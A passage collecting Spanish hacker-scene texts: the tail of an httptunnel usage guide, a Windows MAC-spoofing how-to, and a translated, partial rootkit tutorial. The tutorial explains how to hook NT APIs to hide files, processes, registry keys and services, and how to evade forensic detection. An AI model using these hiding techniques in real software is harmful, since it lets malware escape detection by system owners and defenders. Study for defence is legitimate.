9/24/2001 2:10:15 PM htc Error None 0 N/A MYPC_NAME The
description for Event ID ( 0 ) in Source ( htc ) cannot be
found. The local computer may not have the necessary
registry information or message DLL files to display
messages from a remote computer. The following information
is part of the event: htc : Win32 Process Id = 0x6BC :
Cygwin Process Id = 0x6BC : couldn't open tunnel: I/O error.

9/24/2001 2:10:15 PM htc Error None 0 N/A MYPC_NAME The
description for Event ID ( 0 ) in Source ( htc ) cannot be
found. The local computer may not have the necessary
registry information or message DLL files to display
messages from a remote computer. The following information
is part of the event: htc : Win32 Process Id = 0x6BC :
http_error_to_errno: HTTP error -503.

9/24/2001 2:10:15 PM htc Error None 0 N/A MYPC_NAME The
description for Event ID ( 0 ) in Source ( htc ) cannot be
found. The local computer may not have the necessary
registry information or message DLL files to display
messages from a remote computer. The following information
is part of the event: htc : Win32 Process Id = 0x6BC :
tunnel_in_connect: HTTP error 503.

A: HTTP 503 significa "Service Unavailable." Servicio
no Disponible, esto sucede en caso que no se pueda conectar
al servidor. En el ejemplo anterior, hts no habia sido
iniciado en el servidor, pero el mismo error puede variar.





HTTPTUNNEL -H --HELP
<==================>

.hts.-h.--help

htc [OPCIONES] HOST[:PORT]

htc realiza una conexion httptunnel al PORT de HOST (el PORT
default es 8888). Cuando se realiza una conexion, el I/O es
redirigido de la fuente especificada por --device o
--forward-port al tunnel.


-h, --help
Muestra las opciones.

-c, --content-length BYTES
usa HTTP PUT con tamano BYTES (k, M, y G son
soportados)

-d, --device DEVICE
usa DEVICE para Input / Output

-F, --forward-port PORT
usa el puerto PORT de TCP para Input / Output

-k, --keep-alive SECONDS
mandar keepalive bytes cada SECONDS segundos (el
default es 5)

-M, --max-connection-age SEC
tiempo maximo que estara abierta una conexion en
SEC segundos (el default es 300)

-S, --strict-content-length
Mandar Content-Length bytes en los HTTP requests

-A, --proxy-authorization USER:PASSWORD
proxy authorization

--proxy-authorization-file FILE
proxy authorization file

-B, --proxy-buffer-size BYTES
asumir un buffer de proxy de BYTES bytes (k, M,
y G son soportados)

-P, --proxy HOSTNAME[:PORT]
usa HTTP proxy (el default es 8080)

-T, --timeout TIME
timeout en milisegundos, antes de mandar el
padding)

-U, --user-agent STRING
especifica el valor de User-Agent en los HTTP
requests

-V, --version
mostrar unicamente la version


.htc.-h.--help

hts [OPCIONES] [:PORT]

Escucha por conexiones entrantes de tipo httptunnel en PORT
(el default es 8888). Cuando se realiza una conexion, el
I/O es redirigido de la fuente especificada por --device o
--forward-port al tunnel.

-h, --help
Muestra las opciones.

-c, --content-length BYTES
usa HTTP PUT con tamano BYTES (k, M, y G son
soportados)

-d, --device DEVICE
usa DEVICE para Input / Output

-F, --forward-port HOST:PORT
conecta al PORT de HOST y lo usa para la conexion
input / output

-k, --keep-alive SECONDS
send keepalive bytes every SECONDS seconds
(el default es 5)

-M, --max-connection-age SEC
tiempo maximo que se quedara la conexion abierta
en segundos (el default es 300)

-s, --stdin-stdout
usar stdin/stdout para la comunicacion
(implica --no-daemon)

-S, --strict-content-length
Escribir Content-Length bytes en los requests

-V, --version
muestra la version.

-w, --no-daemon
No irse al background

-p, --pid-file LOCATION
Escribe un PID file a LOCATION.





PUERTOS
<=====>

Algunos puertos llamados well know services tienen
protocolos asociados con ellos, la combinacion de puerto
y protocolo es lo que realiza la conexion.


.Lista corta de puertos comunes:

21 (File Transfer Protocol, FTP)
22 (Secure Shell, SSH)
23 (Telnet)
25 (Simple Mail Transfer Protocol, SMTP)
69 (Trivial File Transfer Protocol, tftp)
79 (finger)
80 (Hypertext Transfer Protocol, HTTP)
110 (Post Office Protocol v3, POP3)
119 (Network News Protocol, NNTP)
161 y 162 (Simple Network Management Protocol, SNMP)
443 (Secure Sockets Layer over HTTP, https)

Para ver una lista completa de los puertos conocidos (well
known services) puedes visitar:
http://www.iana.org/assignments/port-numbers.


.Lista.de.aplicaciones.relacionadas.con.puertos

1214 fasttrack (Kazaa, ...)
1863 MSN Messenger
5190 ICQ, AOL Instant Messenger
6667 IRC (mIRC, ...)





REFERENCIAS
<=========>

GNU HTTPTUNNEL es una herramienta desarrollada y mantenida
por Lars Brinkhoff de www.nocrew.org. HTTPTUNNEL es software
libre bajo la licencia de GNU General Public Licence.

Este texto se llevo acabo previa autorizacion escrita del
Autor original, en este caso Lars Brinkhoff lars[]nocrew.org
Para detalles y colaboracion se encuentra mas info en el
archivo AUTHORS dentro del .tar.

Puedes Bajar el HTTPTUNNEL para:

Debian GNU/Linux
http://packages.debian.org/httptunnel

winNT win2000
http://userpages.umbc.edu/~tmoses1/hypertunnelNT.zip

win32
http://eduardo.cobian.free.fr/gnuht/Win32/
Gnu_Http_Tunnel_3_3.zip

RPMs
http://www.geocities.com/patola_br/httptunnel/

GNU Httptunnel.
http://www.nocrew.org/software/httptunnel.html

GNU Httptunnel FAQ (eng)
http://www.nocrew.org/software/httptunnel/faq.html

GNU Copyleft
http://www.gnu.org/copyleft/gpl.html

HTTP 1.1 RFC
http://www.rfc-editor.org/rfc/rfc2616.txt





AGRADECIMIENTOS
<=============>

Thanx Lars.

Y gr33ts para todos:
hd, freetv1, taer, acid_phreak, AVA, Crypkey, darko, Dekar,
Haifa, hiryuu, mcherem, Napa, Obscure Cloud, rem7, vision,
toloache.





Saludos,




h k m

hkm[]hakim.ws

Como "cambiar" el MAC Address en Windows.

=========MAC Address Spoofing=========
Como hacer spoofing a tu direccion MAC
======================================


==========
Disclaimer
==========
NO CONTINUES LEYENDO!, sin antes leer esto: El autor de este
texto no se hace responsable por tu estupidez. Si vas a
llevar acabo lo descrito en este texto es bajo tu propia
responsabilidad.


============
MAC Spoofing
============
Este texto explica como "cambiar" la direccion MAC de un NIC
en Windows. Explotando la falta de seguridad en la funcion
NdisReadNetworkAddress. Esto se realiza agregando un string
al registro.

La funcion NdisReadNetworkAddress lee el valor del MAC del
NIC directamente desde el registro de windows sin ningun
tipo de encripcion o seguridad (Plain Text).

Se puede agregar un string falso donde especifiquemos el
MAC Address que deseamos para el NIC. Dependiendo del
sistema operativo y de la configuracion de nuestra
maquina encontraremos el key en:

Windows XP / 2000
=================
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class{4D36E972-E325-11CE-BFC1-08002bE10318}

Windows 95 / 98
===============
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ClassNet

Aqui encontraras otra seleccion de key, comunmente "00##"
donde ## es el id del NIC. Para saber cual quieres "cambiar"
puedes dar click sobre algun "00##" y ver el string value
"DriverDesc" que contendra una descripcion de la interfaz.

Agregas un nuevo string value con el nombre de
"NetworkAddress=############" donde ############ es el MAC
Address deseado (en hexadecimal por supuesto).

Para que los cambien tomen efecto y tu MAC Address sea leido
por la funcion NdisReadNetworkAddress es neceario reiniciar
o simplemente deshabilitar y rehabilitar la interfaz.


========
Glosario
========
MAC Address. La direccion MAC (Media Access Control) es un
identificador de 48bits (6 bytes) unico por hardware (NIC).
Los primeros 3 bytes indican el fabricante y los ultimos 3
nos indican el numero de serie. Se supone que cada MAC es
diferente.

NIC. Network Interface Card. Tarjeta de Red.


======
gr33ts
======
hd, freetv1, -X-, rem7, mcherem, iguanajonte, cheiros,
Obscure Cloud, AVA y prof8086. xD


===========
Referencias
===========
NDIS Library Function References
http://msdn.microsoft.com/library/default.asp?url=/library/
en-us/network/hh/network/103ndisx_5e9f.asp

SMAC de KLC Consulting
http://www.klcconsulting.net/smac/

Neohapsis Archives
http://archives.neohapsis.com/archives/vuln-dev/2000-q1/
0517.html

Fabricantes por MAC
http://standards.ieee.org/regauth/oui/oui.txt




Saludos,



h k m

hkm[]hakim.ws

Tecnicas para esconder archivos, servicios, procesos, ... Usando hooking de APIs.

========================[ Invisibilidad en sistemas NT ]========================

Como ser invisible en Windows NT
--------------------------------

Autor: Holy_Father
Traduccion: Kintaro
Version: 1.2 spanish
Fecha: 01.01.2005


=====[ 1. Contenidos ]==========================================================

1. Contenidos
2. Introduccion
3. Ficheros
3.1 NtQueryDirectoryFile
3.2 NtVdmControl
4. Procesos
5. Registro
5.1 NtEnumerateKey
5.2 NtEnumerateValueKey
6. Servicios de sistema y drivers
7. Expandiendo los ganchos
7.1 Derechos
7.2 Gancho global
7.3 Nuevos procesos
7.4 DLL
8. Memoria
9. Handle (Manejadores)
9.1 Nombrando el handle y obteniendo el tipo
10. Puertos
10.1 Netstat, OpPorts en WinXP, FPort en WinXP
10.2 OpPorts en Win2k y NT4, FPort en Win2k
11. Terminando



=====[ 2. Introduccion ]========================================================

Este documento trata sobre tecnicas de esconder objetos, ficheros,
servicios, procesos, etc. en sistemas Windows NT. Estos metodos estan basados
en lso ganchos a funciones de la Windows API que estan descritos en mi
documentos "Hooking Windows API".
Todo esto lo aprendi por mis investigaciones durante el desarrollo
del codigo del rootkit, asique es posible que pueda ser escrito mejor y mas
facilmente de lo que yo lo hago. Esto incluye mi implementacion del rootkit.

Ocultacion de objeto arbitrario, en este documento, significa cambiar
algunas funciones que muestran estos objetos de manera que evitemos que
muestren el objeto. En el caso de que ese objeto fuese el valor de retorno
de esa funcion, nosotros devolveriamos el valor como si el objeto no
existiese.

El metodo basico (excluyendo casos en que indique diferente) es que
llamaremos la funcion original con los argumentos originales y lo que
cambiariamos seria su salida.

En esta de este texto se describen metodos de ocultar ficheros,
procesos, claves y valores de registros, servicios de sistema y drivers,
reservas de memoria y handles.



=====[ 3. Ficheros ]============================================================

Hay varias posibilidades de ocultar ficheros de manera que no los vea
el SO. Nosotros nos dedicaremos solo a modificar la APi, olvidandonos de
aquellas tecnicas que realizan cambios en el sistema de ficheros. Asi es mucho
mas facil ya que no necesitmos conocer el sistema de ficheros en particular.


=====[ 3.1 NtQueryDirectoryFile ]===============================================

La busqueda de ficheros en WNT en algun directorio se basa en buscar
todos sus ficheros y todos sus subdirectorios con ficheros. Para enumerar
ficheros se usa la funcion NtQueryDirectoryFile.

NTSTATUS NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);


Los parametros importantes para nosotros son FileHandle,
FileInformation y FileInformationClass.
FileHandle es el handle del directorio, el cual se obtiene con
NtOpenFile.
FileInformation es un puntero a una zona de memoria donde se escribira
la informacion pedida.
FileInformationClass determina el tipo de registro que se escribira
en FileInformation. FileInformationClass es un tipo enumerado, y son cuatro
los valores que necesitamos para la enumeracion de un directorio.

#define FileDirectoryInformation 1
#define FileFullDirectoryInformation 2
#define FileBothDirectoryInformation 3
#define FileNamesInformation 12


la estructura escrita es FileInformation con FileDirectoryInformation es:

typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;


con FileFullDirectoryInformation:

typedef struct _FILE_FULL_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
WCHAR FileName[1];
} FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;


con FileBothDirectoryInformation:

typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;


y con FileNamesInformation:

typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;


Esta funcion escribe una lista de estas estructuras en FileInformation.
Solo tres varibles nos importan en cualquiera de estos tipos
de estructuras.
NextEntryOffset es la longitud en bytes del nodo estructura actual.
El primer nodo empieza en la direccion FileInformation + 0. El segundo
en FileInformation + NextEntryOffset (NextEntryOffset del primer nodo).
El ultimo nodo tiene su campo NextEntryOffset puesto a cero.

FileName es el nombre completo del fichero.
FileNameLength es la longitud del nombre.

Si queremos ocultar un fichero, debemos tener en cuenta estos
cuatro tipos y para cada registro devuelto comparamos su nombre
con el que queremos ocultar. Si queremos ocultar el primer registro tenemos
que mover las estructuras siguientes al lugar de la primera. Esto
causara la sobreescritura del primer registro. Si queremos ocultar
otro registro, cambiamos el valor de NextEntryOffset del registro que
le precede.

(Nota del traductor:
Aqui hay 2 posibilidades:
1)Mover solamente el segundo registro
2)Mover todos los registros siguientes
La 1º es algo mas rapida y tambien mas facil, la 2º es mejor :).
En la 1º moveriamos el segundo registro sobre el primero, sobreescribiendolo,
y cambiamos el NextEntryOffset de este registro que acabamos de escribr
al valor
NextEntryOffset nuevo=NextEntryOffset del 1º registro + NextEntryOffset del 2º
pero esto tiene un problema: si a alguien le da por leer esta zona de memoria
vera que hay gato encerrado, detras del primer registro encontraria una
copia del mismo registro,y este no estaria apuntado por el anterior. Un poco
de buena vista bastara para detectarnos! En vez de eso podemos recurrir a la
forma 2. Esta forma consiste en sobreescribir ese registro fantasma con los
regitros siguientes, es decir desplazar todos los registros siguientes hacia
el primera registro, de manera que todos los registros estan encadenados de
forma contigua, no hay en memoria una zona desapuntada ni una copia de ningun
otro registro. bueno, ahora si estas entendiendo esto seguramente no estaras
de acuerdo en todo, porque en realidad no es del todo cierto: si que hay una
copia de algun registro. ¿De cual? Pues del ultimo no? En este momento todo
funcionaria bien, pero podria seguir siendo detectable de manera parecida a
la anterior, aunque mas difícilmente, pero se puede mejorar,
qué se os ocurre hacer? lo logico seria sobreescribirlo con los datos que
hubiese antes tras el ultimo registro, pues vamos alla. ponemos el tamaño
del ultimo registro fantasma a NULL. Ahora la detección esta mucho mas
difícil, pero de nuevo no es perfecta! Existe una variable de salida de la
función con el numero de bytes escritos, entonces un avispado forense podria
comprobar esto y detectarnos de nuevo :/ . La solución aqui consiste en hacer
una nueva llamada a la función pasandole como puntero del buffer la dirección
justo despues del último registro. Ahora la variable con el número de bytes
escritos contendrá el numero de bytes escritos en esta ocación. Pero
seguiremos haciendo esta llamada hasta que en una de ella el resultado sea
"espacio insuficiente", entonces la variable de bytes escritos ya no puede
comprobarse ,jeje :P
Para los curiosos, los posibles valores de retorno de la funcion, de tipo
NTSYSAPI NTSTATUS NTAPI estan listados en el ntstatus.h )

Si queremos ocultar el ultimo registro, el nuevo valor de NextEntryOffset
seria cero, en otro caso el valor seria la suma del NextEntryOffset del
registro precedente y del NextEntryOffset del registro a esconder.
En este caso deberiamos cambiar el valor de Unknown del registro
previo, que es probablemente un indice para la busqueda siguiente.
El valor de Unknown del registro previo debe contener el valor del
Unknown del registro a ocultar.
Si no se encuentran mas ficheros que sí queramos mostrar, devolveremos
STATUS_NO_SUCH_FILE.

#define STATUS_NO_SUCH_FILE 0xC000000F


=====[ 3.2 NtVdmControl ]=======================================================

Por razones desconocidas, la emulacion de DOS NTVDM puede obtener
tambien una lista de ficheros con NtVdmContol.

NTSTATUS NtVdmControl(
IN ULONG ControlCode,
IN PVOID ControlData
);

ControlCode especifica la subfuncion que se aplica a los datos
del buffer ControlData. Si ControlCode es VdmDirectoryFile, esta funcion
hace lo mismo que NtQueryDirectoryFile con FileInformationClass puesto
a FileBothDirectoryInformation.

#define VdmDirectoryFile 6

Entonces ControlData es usado como FileInformation. La unica diferencia
aqui es que no sabemos la longitud de este buffer. Asique tenemos que
contarlo manualmente. Tenemos que sumar NextEntryOffset de todos los registros
y FileNameLength del ultimo registro y 0x5E como longitud del ultimo registro
excluyendo el nombre del fichero. Los metodos de ocultacion son los mismos
que en el caso de NtQueryDirectoryFile.



=====[ 4. Procesos ]============================================================

Cierta informacion esta disponible usando NtQuerySystemInformation.

NTSTATUS NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);


SystemInformationClass especifica el tipo de informacion que queremos
obtener.
SystemInformation es un puntero al buffer de salida.
SystemInformationLength es la longitud de este buffer.
ReturnLength es el numero de bytes escritos.

Para la enumeracion de procesos en ejecucion pasamos
como SystemInformationClass la constante SystemProcessesAndThreadsInformation


#define SystemInformationClass 5


Estructura devuelta en el buffer SystemInformation:

typedef struct _SYSTEM_PROCESSES {
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; // Windows 2000 solo
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;


Ocultar procesos es igual que en el caso de ocultar ficheros.
Tenemos que cambiar NextEntryDelta del registro previo a aquel que queremos
ocultar. Usualmente no querremos cambiar nunca el primero registro de todos,
pues este es el proceso Idle (Proceso inactivo de sistema)



=====[ 5. Registro ]============================================================

El registro de windows es bastante grande en cuanto a la estructura
de arbol, conteniendo dos tipos importantes de registros para nosotros que
podriamos querer ocultar. El primer tipo son las claves de registro, y el
segundo son los valores. La ocultacion del registro no es tan trivial como
la ocultacion de ficheros o procesos.


=====[ 5.1 NtEnumerateKey ]=====================================================

Debido a su estructura no nos es posible obtener una lista de todas
las claves en una parte determinada del registro. Tan solo podemos obtener
informacion sobre una clave especificada por su indice en algun lugar del
registro. La funcion que provee de esta informacion es NtEnumerateKey.

NTSTATUS NtEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG KeyInformationLength,
OUT PULONG ResultLength
);


KeyHandle es un handle a una clave, y queremos solicitar la informacion
de una subclave especificada por Index. El tipo de la informacion de salida
se especifica mediante KeyInformationClass. Los datos se escriben en el
buffer de salida KeyInformation, donde KeyInformationLength es el tamaño.
ResultLength es el numero de bytes escritos.

Lo mas importante a tener en cuenta es que si escondemos una clave,
los indices de las claves siguientes serian todos desplazados. Entonces para
obtener informacion de una clave con un indice mayor pediremos informacion
sobre la clave con un indice menor, por tanto tenemos que contar cuantos
registros hay antes de ocultar alguno y entonces nosotros devolvemos el
correcto.

Echad un vistazo a este ejemplo. Pongamos que tenemos tres claves:
A, B, C, D, E, y F en alguna parte del registro. EL indice empieza en cero, por
lo que el indice 4 corresponde a la clave E. Ahora si queremos esconder B y
la aplicacion enganchada llama a NtEnumerateKey con Index a 4, nosotros
deberiamos devolver informacion sobre F, porque el indice se ha desplazado.
El problema es que no sabemos que desplazamiento ha habido. Y si no nos
preocupamos de los desplazamientos y devolvemos E en lugar de F cuando se pida
la clave con Index 4, entonces no deberiamos devolver nada cuando se pida
la clave con Index 1, o bien devolveriamos C. Ambos casos son erroneos. Esto
es por lo que tenemos que que tener cuidado con los desplazamientos.

Ahora si contamos el desplazamiento mediante rellamadas a la
funcion por cada indice de 0 a Index, entonces habria veces que deberiamos
esperar años ( en un procesador de 1GHz tardaria 10 segundos con el registro
estandar, lo cual es demasiado). Asique tenemos que resolverlo por otro metodo
mas sofisticado.

Sabemos que las claves (a excepcion de las referencias) estan ordenadas
alfabeticamente. Si pasamos de las referencias (que no las queremos esconder)
podemos contar el desplazamiento por el siguiente metodo. Ordenaremos
alfabeticamente nuestra lista de nombres de claves que queremos ocultar
(con RtlCompareUnicodeString por ejemplo), entonces cuando la aplicacion
llame a NtEnumerateKey, no la rellamaremos con los argumentos inalterados
sino que descubriremos el nombre del registro especificado por Index.

NTSTATUS RtlCompareUnicodeString(
IN PUNICODE_STRING String1,
IN PUNICODE_STRING String2,
IN BOOLEAN CaseInSensitive
);

String1 y String2 son las cadenas a comparar, CaseInSensitive
es True queremos comparar con distincion de mayuculas y minusculas.
El resultado de la funcion describe la relacion entre String1
y String2:

resultado > 0: String1 > String2
resultado = 0: String1 = String2
resultado < 0: String1 < String2

Ahora tenemos que encontrar un punto fronterizo en la lista.
Compararemos alfabeticamente el nombre de la clave especificada por
Index con los nombres de nuestra lista.
El punto fronterizo seria el ultimo nombre menor de nuestra lista (el siguiente
seria el mismo nombre). Sabemos que el desplazamiento es como mucho el numero
de nombres que hay antes del punto fronterizo en nuestra lista. Pero no todos
los items de nuestra lista tiene que ser una clave existente en la parte
del registro en la que estamos. Asique pedimos para todos los items de nuestra
lista hasta el punto frontera si estos estan en esta parte del registro.
Esto se hace con NtOpenKey.


NTSTATUS NtOpenKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

KeyHandle es un handle de una superclave. Usaremos el valor de
NtEnumerateKey aqui. DesiredAccess son los derechos de acceso. El valor
correcto es KEY_ENUMERATE_SUB_KEYS. ObjectAttributes describe la subclave
que queremos abrir (incluyendo su nombre).


#define KEY_ENUMERATE_SUB_KEYS 8

si el resultado de NtOpenKey es 0 la apertura de clave se realizo con
exito, lo que significa que esta clave de nuestra lista existe. La clave
abierta se cierra con NtClose.

NTSTATUS NtClose(
IN HANDLE Handle
);


Para cada llamada a NtEnumerateKey contaremos el desplazamiento
como el numero de claves de nuestra lista que existen en la parte dada
del registro. Entonces añadiremos este desplazamiento al argumento Index
y finalmente llamaremos a la NtEnumerateKey original.
Para obtener del nombre de la clave especificada por Index usaremos
KeyBasicInformation como KeyInformationClass.

#define KeyBasicInformation 0

NtEnumerateKey devuelve esta estructura en KeyInformation:

typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;

Lo único que necesitamos aqui es Name y NameLength. Si no hay
entrada para el Index desplazado devolveremos error
STATUS_EA_LIST_INCONSISTENT.

#define STATUS_EA_LIST_INCONSISTENT 0x80000014


=====[ 5.2 NtEnumerateValueKey ]================================================

Los valores de registro no estan ordenados alfabeticamente.
Afortunadamente el numero de valores en una clave es bastante pequeño y
podemos usar el metodo de rellamada para los desplazamientos

NTSTATUS NtEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG KeyValueInformationLength,
OUT PULONG ResultLength
);

KeyHandle es de nuevo un handle de una superclave. Index es un
indice de la lista de valores en la clave dada. KeyValueInformationClass
describe un tipo de informacion que sera almacenado en el buffer
KeyValueInformation, que es ocupa KeyValueInformationLength bytes. El numero
de bytes escritos se develve en ResultLength.

De nuevo podemos contar el desplazamiento pero segun el numero de
valores en una clave podemos rellamar esta funcion para todos los indices
desde 0 a Index. El numero del valor puede obtenerse cuando
KeyValueInformationClass es puesto a KeyValueBasicInformation.


#define KeyValueBasicInformation 0


Entonces obtendremos la siguiente estructura en el buffer
KeyValueInformation :

typedef struct _KEY_VALUE_BASIC_INFORMATION {
ULONG TitleIndex;
ULONG Type;
ULONG NameLength;
WCHAR Name[1];
} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;

De nuevo lo que nos interesa solo es Name y Namelength.


Si no hay entrada para el Index desplazado devolveremos
STATUS_NO_MORE_ENTRIES.

#define STATUS_NO_MORE_ENTRIES 0x8000001A



=====[ 6. Servicios de sistema y drivers ]======================================

Los servicios de sistema y drivers se enumeran mediante
cuatro funciones API, independientes unas de otras. La conexion entre ellas
es diferente en cada version de Windows. Por eso es por lo que tenemos
que usar ganchos con las cuatro funciones.

BOOL EnumServicesStatusA(
SC_HANDLE hSCManager,
DWORD dwServiceType,
DWORD dwServiceState,
LPENUM_SERVICE_STATUS lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle
);

BOOL EnumServiceGroupW(
SC_HANDLE hSCManager,
DWORD dwServiceType,
DWORD dwServiceState,
LPBYTE lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle,
DWORD dwUnknown
);

BOOL EnumServicesStatusExA(
SC_HANDLE hSCManager,
SC_ENUM_TYPE InfoLevel,
DWORD dwServiceType,
DWORD dwServiceState,
LPBYTE lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle,
LPCTSTR pszGroupName
);

BOOL EnumServicesStatusExW(
SC_HANDLE hSCManager,
SC_ENUM_TYPE InfoLevel,
DWORD dwServiceType,
DWORD dwServiceState,
LPBYTE lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle,
LPCTSTR pszGroupName
);


Aqui lo importante es lpServices, que apunta al buffer donde se va a
almacenar la lista de servicios. Y tambien nos importa lpServicesReturned
que indica el numero de registros que se han creado en el buffer.
La estructura de datos que sera grabada al buffer de salida depende de las
funciones. Las funciones EnumServicesStatusA y EnumServicesGroupW devuelven
una estructura del tipo:

typedef struct _ENUM_SERVICE_STATUS {
LPTSTR lpServiceName;
LPTSTR lpDisplayName;
SERVICE_STATUS ServiceStatus;
} ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;

typedef struct _SERVICE_STATUS {
DWORD dwServiceType;
DWORD dwCurrentState;
DWORD dwControlsAccepted;
DWORD dwWin32ExitCode;
DWORD dwServiceSpecificExitCode;
DWORD dwCheckPoint;
DWORD dwWaitHint;
} SERVICE_STATUS, *LPSERVICE_STATUS;

y EnumServicesStatusExA y EnumServicesStatusExW otras como estas:

typedef struct _ENUM_SERVICE_STATUS_PROCESS {
LPTSTR lpServiceName;
LPTSTR lpDisplayName;
SERVICE_STATUS_PROCESS ServiceStatusProcess;
} ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS;

typedef struct _SERVICE_STATUS_PROCESS {
DWORD dwServiceType;
DWORD dwCurrentState;
DWORD dwControlsAccepted;
DWORD dwWin32ExitCode;
DWORD dwServiceSpecificExitCode;
DWORD dwCheckPoint;
DWORD dwWaitHint;
DWORD dwProcessId;
DWORD dwServiceFlags;
} SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;


Nada mas que nos interesa lpServiceName, que es el nombre del servicio
de sistema. Los registros tienen tamaño estatico, asique ocultar uno es facil,
solo hay que mover los registros siguientes hacia el que queremos ocultar,
sobreescribiendolo. Tenemos que diferenciar entre el tamaño de
SERVICE_STATUS y el de SERVICE_STATUS_PROCESS.



=====[ 7. Expandiendo los ganchos ]=============================================

Para conseguir el efecto deseado tenemos que meter los ganchos
a todos los procesos en ejecucion, y tambien a los procesos nuevos que
se creen despues. Los procesos nuevos deberian ser enganchados antes
de que se ejecute su primera instruccion, de otra forma podria ver
los objetos que hemos ocultado en ese lapso de tiempo antes de
engancharlo.


=====[ 7.1 Privilegios ]========================================================

Debes saber que lo primero que necesitamos es, como minimo, privilegios
de administrador, para acceder a todos los procesos en ejecucion. La mejor
posibilidad es ejecutar nuestro proceso como servicio de sistema, que es
ejecutado como usuario SYSTEM en la maquina. Para instalar el servicio
tambien necesitamos privilegios especiales.

Tambien SeDebugPrivilege es muy util. Puede hacerse usando
OpenProcessToken, LookupPrivilegeValue y AdjustTokenPrivileges.

BOOL OpenProcessToken(
HANDLE ProcessHandle,
DWORD DesiredAccess,
PHANDLE TokenHandle
);

BOOL LookupPrivilegeValue(
LPCTSTR lpSystemName,
LPCTSTR lpName,
PLUID lpLuid
);

BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,
BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState,
DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength
);


El codigo sera algo parecido a esto:

#define SE_PRIVILEGE_ENABLED 0x0002
#define TOKEN_QUERY 0x0008
#define TOKEN_ADJUST_PRIVILEGES 0x0020

HANDLE hToken;
LUID DebugNameValue;
TOKEN_PRIVILEGES Privileges;
DWORD dwRet;

OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);
LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
Privileges.PrivilegeCount=1;
Privileges.Privileges[0].Luid=DebugNameValue;
Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
NULL,&dwRet);
CloseHandle(hToken);


